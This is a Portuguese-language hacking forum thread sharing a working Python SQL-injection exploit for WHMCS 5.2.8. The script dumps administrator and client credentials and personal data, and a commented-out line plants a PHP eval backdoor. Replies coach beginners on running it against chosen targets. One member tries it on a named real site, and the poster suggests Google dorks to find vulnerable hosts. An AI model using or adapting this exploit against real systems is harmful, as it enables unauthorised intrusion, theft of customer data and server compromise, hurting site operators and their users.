Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

WHMCS 5.2.8 0day

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Exploit WHMCS 5.2.8 0day

    Here we go, Apenas precisa substituir o campo url por o seu target, sim em windows vai dar erro, não eu não vou arrumar.

    Código HTML:
    #!/usr/bin/env python
    # 2013/10/18 - WHMCS <=5.2.8 SQL Injection
    # http://localhost.re/p/whmcs-528-vulnerability
    
    url = 'http://client.target.com/' 
    
    import urllib, re, sys
    from urllib2 import Request, urlopen
    ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
    
    def exploit(sql):
    	sqlUnion = '-1 union select 1,0,0,0,0,0,0,0,0,0,0,%s,0,0,0,0,0,0,0,0,0,0,0#' % sql
    	print "Doing stuff: %s" % sqlUnion
    	#you could exploit any file that does a select, I randomly chose viewticket.php
    	r = urlopen(Request('%sviewticket.php' % url, data="tid[sqltype]=TABLEJOIN&tid[value]=%s" % sqlUnion, headers={"User-agent": ua})).read()
    	return re.search(r'<div class="clientmsg">(.*?)</div>', r, re.DOTALL).group(1).strip()
    
    #get admins
    print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)')
    
    #get users
    count = int(exploit('(SELECT COUNT(id) FROM tblclients)'))
    print "User count %d" % count
    for i in range(count):	
    	print exploit('(SELECT CONCAT(id,0x3a,firstname,0x3a,lastname,0x3a,address1,0x3a,address2,0x3a,city,0x3a,country,0x3a,ip,0x3a,email,0x3a,password) FROM tblclients LIMIT %d,1)' % i)
    
    #are you evil? yes, you are!
    #php = "1';eval($_REQUEST['lol_whmcs']);#"
    #r = urlopen(Request('%sadmin/licenseerror.php?updatekey=true&whitelisted=1&newlicensekey=%s&match=1&username[sqltype]=TABLEJOIN&username[value]=-1||1=1%%23' % (url, urllib.quote_plus(php)), headers={"User-agent": ua})).read()

    Assim essa falha ocorre por uma função retirada anteriormente, a coisa mais babaca de todas é que implementaram a mesma função com um nome diferente -.-'

    eis o código da função:

    /includes/dbfunctions.php:

    Código HTML:
    <?php
    function select_query($table, $fields, $where, $orderby = '', $orderbyorder = '', $limit = '', $innerjoin = '') {
        global $CONFIG;
        global $query_count;
        global $mysql_errors;
        global $whmcsmysql;
        if (!$fields) {
        $fields = '*';
        }
        $query = 'SELECT ' . $fields . ' FROM ' . db_make_safe_field($table);
        if ($innerjoin) {
        $query .= ' INNER JOIN ' . db_escape_string($innerjoin);
        }
        if ($where) {
        if (is_array($where)) {
            $criteria = array();
            foreach ($where as $origkey => $value) {
            $key = db_make_safe_field($origkey);
            if (is_array($value)) {
                if ($key == 'default') {
                $key = '`default`';
                }
                if ($value['sqltype'] == 'LIKE') {
                $criteria[] = $key . ' LIKE \'%' . db_escape_string($value['value']) . '%\'';
                continue;
                }
                if ($value['sqltype'] == 'NEQ') {
                $criteria[] = $key . '!=\'' . db_escape_string($value['value']) . '\'';
                continue;
                }
                if ($value['sqltype'] == '>') {
                $criteria[] = $key . '>' . db_escape_string($value['value']);
                continue;
                }
                if ($value['sqltype'] == '<') {
                $criteria[] = $key . '<' . db_escape_string($value['value']);
                continue;
                }
                if ($value['sqltype'] == '<=') {
                $criteria[] = $origkey . '<=' . db_escape_string($value['value']);
                continue;
                }
                if ($value['sqltype'] == '>=') {
                $criteria[] = $origkey . '>=' . db_escape_string($value['value']);
                continue;
                }
                if ($value['sqltype'] == 'TABLEJOIN') {
                $criteria[] = $key . '=' . db_escape_string($value['value']);
                continue;
                }
                if ($value['sqltype'] == 'IN') {
                $criteria[] = $key . ' IN (\'' . implode('\',\'', db_escape_array($value['values'])) . '\')';
                continue;
                }
                continue;
            }
    [...]
    ?>
    Antes de chamava Register Globals, agora sei lá como diabos se chama.
    Yes, I am a criminal. My crime is that of curiosity. My crime is
    that of judging people by what they say and think, not what they look like.
    My crime is that of outsmarting you, something that you will never forgive me
    for.

    I am a hacker, and this is my manifesto. You may stop this individual,
    but you can't stop us all... after all, we're all alike.

  • Font Size
    #2
    tudo mastigado pra quem quiser usar rsrs...

    boa contribuição maninho. parabéns.


    *******************************************
    #! Perl - PHP - Python !#
    *******************************************
    r00t@ʤῲʪƷ#~> Zone-H

    Comment


    • Font Size
      #3
      duvida

      como eu uso esse codigo e em que programa

      Comment


      • Font Size
        #4
        Postado Originalmente por samtex Ver Post
        como eu uso esse codigo e em que programa
        amigo, não tenho muito conhecimento, mais to na intensão de ajudar;

        eu acho que você tem que usar 1 compilador para python (nem sei se existe), compilar e rodar...

        se eu estiver errado alguém corrige ai pra min, não programo em python

        Se me bloqueiam de um lado, eu me infiltro do outro
        Eu sou pior que um rato eu entro pelo esgoto
        Voltei de preto pro combate sem medo de apanhar
        Eu não sou Jesus Cristo então vou revidar!





        É meu fan? Use minha fan bar




        A nossa maior glória não reside no fato de nunca cairmos, mas sim em levantarmo-nos sempre depois de cada queda.

        Comment


        • Font Size
          #5
          Postado Originalmente por MERCENARYOUS Ver Post
          amigo, não tenho muito conhecimento, mais to na intensão de ajudar;

          eu acho que você tem que usar 1 compilador para python (nem sei se existe), compilar e rodar...

          se eu estiver errado alguém corrige ai pra min, não programo em python
          Compilador não, no caso um interpretador dessa linguagem, pode se encontrar aqui no site oficial: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... se usar Linux não é necessário, apenas se for Ruimdows.

          Comment


          • Font Size
            #6
            ajuda

            uso linux como eu faço

            Comment


            • Font Size
              #7
              Que bom que usa linux pois no windows teria que fazer uns ajustes, mas assim, salva o arquivo no diretório Pentest no Desktop que seja abra o terminal e faça o seguinte:

              cd Desktop/Pentest

              pronto vai estar no diretório.

              para fazer o terminal interpretar use o seguinte comando primeiro

              chmod 777 arquivo.py

              e depois rode o script assim

              ./arquivo.py

              e também tem que modificar no campo url no script para o seu alvo caso contrário o script não irá funcionar.
              Yes, I am a criminal. My crime is that of curiosity. My crime is
              that of judging people by what they say and think, not what they look like.
              My crime is that of outsmarting you, something that you will never forgive me
              for.

              I am a hacker, and this is my manifesto. You may stop this individual,
              but you can't stop us all... after all, we're all alike.

              Comment


              • Font Size
                #8
                ajuda

                ./f.py
                Doing stuff: -1 union select 1,0,0,0,0,0,0,0,0,0,0,(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,pass word SEPARATOR 0x2c20) FROM tbladmins),0,0,0,0,0,0,0,0,0,0,0#
                Traceback (most recent call last):
                File "./f.py", line 19, in <module>
                print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,pass word SEPARATOR 0x2c20) FROM tbladmins)')
                File "./f.py", line 15, in exploit
                r = urlopen(Request('%sviewticket.php' % url, data="tid[sqltype]=TABLEJOIN&tid[value]=%s" % sqlUnion, headers={"User-agent": ua})).read()
                File "/usr/lib/python2.7/urllib2.py", line 126, in urlopen
                return _opener.open(url, data, timeout)
                File "/usr/lib/python2.7/urllib2.py", line 406, in open
                response = meth(req, response)
                File "/usr/lib/python2.7/urllib2.py", line 519, in http_response
                'http', request, response, code, msg, hdrs)
                File "/usr/lib/python2.7/urllib2.py", line 444, in error
                return self._call_chain(*args)
                File "/usr/lib/python2.7/urllib2.py", line 378, in _call_chain
                result = func(*args)
                File "/usr/lib/python2.7/urllib2.py", line 527, in http_error_default
                raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
                urllib2.HTTPError: HTTP Error 404: Not Found

                aparece isto

                Comment


                • Font Size
                  #9
                  Postado Originalmente por Cr4t3r Ver Post
                  Que bom que usa linux pois no windows teria que fazer uns ajustes, mas assim, salva o arquivo no diretório Pentest no Desktop que seja abra o terminal e faça o seguinte:

                  cd Desktop/Pentest

                  pronto vai estar no diretório.

                  para fazer o terminal interpretar use o seguinte comando primeiro

                  chmod 777 arquivo.py

                  e depois rode o script assim

                  ./arquivo.py

                  e também tem que modificar no campo url no script para o seu alvo caso contrário o script não irá funcionar.
                  Opa, cara, vou tentar na minha VM, tenho BT nela... com essa ultima explicação chega deu vontade de tentar fazer e aprender ;D

                  Se me bloqueiam de um lado, eu me infiltro do outro
                  Eu sou pior que um rato eu entro pelo esgoto
                  Voltei de preto pro combate sem medo de apanhar
                  Eu não sou Jesus Cristo então vou revidar!





                  É meu fan? Use minha fan bar




                  A nossa maior glória não reside no fato de nunca cairmos, mas sim em levantarmo-nos sempre depois de cada queda.

                  Comment


                  • Font Size
                    #10
                    Que bom que gostaram, qualquer atualização ou 0day codado por outros ou por mim mesmo eu posto aqui. ;D
                    Yes, I am a criminal. My crime is that of curiosity. My crime is
                    that of judging people by what they say and think, not what they look like.
                    My crime is that of outsmarting you, something that you will never forgive me
                    for.

                    I am a hacker, and this is my manifesto. You may stop this individual,
                    but you can't stop us all... after all, we're all alike.

                    Comment


                    • Font Size
                      #11
                      Postado Originalmente por Cr4t3r Ver Post
                      Que bom que usa linux pois no windows teria que fazer uns ajustes, mas assim, salva o arquivo no diretório Pentest no Desktop que seja abra o terminal e faça o seguinte:

                      cd Desktop/Pentest

                      pronto vai estar no diretório.

                      para fazer o terminal interpretar use o seguinte comando primeiro

                      chmod 777 arquivo.py

                      e depois rode o script assim

                      ./arquivo.py

                      e também tem que modificar no campo url no script para o seu alvo caso contrário o script não irá funcionar.
                      Cr4t3r vey, i need help ;D

                      criei o diretório Pentest na área de trabalho do meu linux...
                      criei 2 arquivos...
                      file1.py e dbfunctions.php
                      (sim eu substitui a url, pela url do meu alvo)

                      file1.py na raiz do diretório Pentest...
                      dbfunctions.php > criei um diretório com nome includes e coloquei lá dento, ficando tudo assim:

                      Pentest/file1.py
                      Pentest/includes/dbfunctions.php

                      abri o terminal do meu linux e usei os seguintes comandos:
                      cd Desktop/Pentest
                      chmod 777 file1.py
                      ./file1.py

                      logo após o ultimo comando aparece o seguinte:


                      Como eu não sou de ficar parado, pensei: será que devo dar o comando chmod 777 no dbfunctions?? fui lá e dei permição 777

                      cd Desktop/Pentest/includes
                      chmod 777 dbfunctions.php

                      Voltei para raiz do diretório e tentei executar o file1.py de novo;
                      erro novamente...

                      Pensei: será que dbfunctions.php está no lugar errado?? fui lá e fiz 1 cópia do arquivo dbfunctions.php para a raiz do diretório Pentest..

                      tentei executar novamente o file1.py, e deu o mesmo erro novamente...

                      tentei, mudar a url do meu alvo...

                      coloquei a raiz do meu url alvo assim: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... (ilustrando url, não usei "meualvo" não hehe),
                      assim: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... (coloquei a url, que vi que tinha erro de sql quando eu coloquei 1 ' no final da url)

                      e mesmo assim continua o mesmo erro...

                      Lembrando que uso linux em 1 máquina virtual com BackTrack 5 R3
                      se puder min ajudar... ficarei grato... ;D obrigado e desculpa pelo longo post, é que dei todas as informações que tenho aqui para que fique mais fácil para você responder! ;D

                      Aguardo! ;D

                      Se me bloqueiam de um lado, eu me infiltro do outro
                      Eu sou pior que um rato eu entro pelo esgoto
                      Voltei de preto pro combate sem medo de apanhar
                      Eu não sou Jesus Cristo então vou revidar!





                      É meu fan? Use minha fan bar




                      A nossa maior glória não reside no fato de nunca cairmos, mas sim em levantarmo-nos sempre depois de cada queda.

                      Comment


                      • Font Size
                        #12
                        Vou verificar aqui e já depois te respondo.
                        Yes, I am a criminal. My crime is that of curiosity. My crime is
                        that of judging people by what they say and think, not what they look like.
                        My crime is that of outsmarting you, something that you will never forgive me
                        for.

                        I am a hacker, and this is my manifesto. You may stop this individual,
                        but you can't stop us all... after all, we're all alike.

                        Comment


                        • Font Size
                          #13
                          Eis a questão cara, seu site não estava vulnerável assim o exploit não pode retornar uma resposta e gera o erro.

                          Att. Cr4t3r
                          Yes, I am a criminal. My crime is that of curiosity. My crime is
                          that of judging people by what they say and think, not what they look like.
                          My crime is that of outsmarting you, something that you will never forgive me
                          for.

                          I am a hacker, and this is my manifesto. You may stop this individual,
                          but you can't stop us all... after all, we're all alike.

                          Comment


                          • Font Size
                            #14
                            Postado Originalmente por Cr4t3r Ver Post
                            Eis a questão cara, seu site não estava vulnerável assim o exploit não pode retornar uma resposta e gera o erro.

                            Att. Cr4t3r
                            na url alvo. eu coloquei o site, que você fez em outro tópico!
                            o site que você postou para o desafio! faser.org.br << acho que foi esse...

                            coloquei o site na url, e mesmo assim deu erro...
                            se puder mim ajudar agradeço ;D

                            Se me bloqueiam de um lado, eu me infiltro do outro
                            Eu sou pior que um rato eu entro pelo esgoto
                            Voltei de preto pro combate sem medo de apanhar
                            Eu não sou Jesus Cristo então vou revidar!





                            É meu fan? Use minha fan bar




                            A nossa maior glória não reside no fato de nunca cairmos, mas sim em levantarmo-nos sempre depois de cada queda.

                            Comment


                            • Font Size
                              #15
                              Procura no google assim: WHM dorks.
                              tem que ir testando porque aqui funciona e da esse mesmo erro quando o site não é vulnerável.
                              Yes, I am a criminal. My crime is that of curiosity. My crime is
                              that of judging people by what they say and think, not what they look like.
                              My crime is that of outsmarting you, something that you will never forgive me
                              for.

                              I am a hacker, and this is my manifesto. You may stop this individual,
                              but you can't stop us all... after all, we're all alike.

                              Comment

                              X
                              Working...
                              X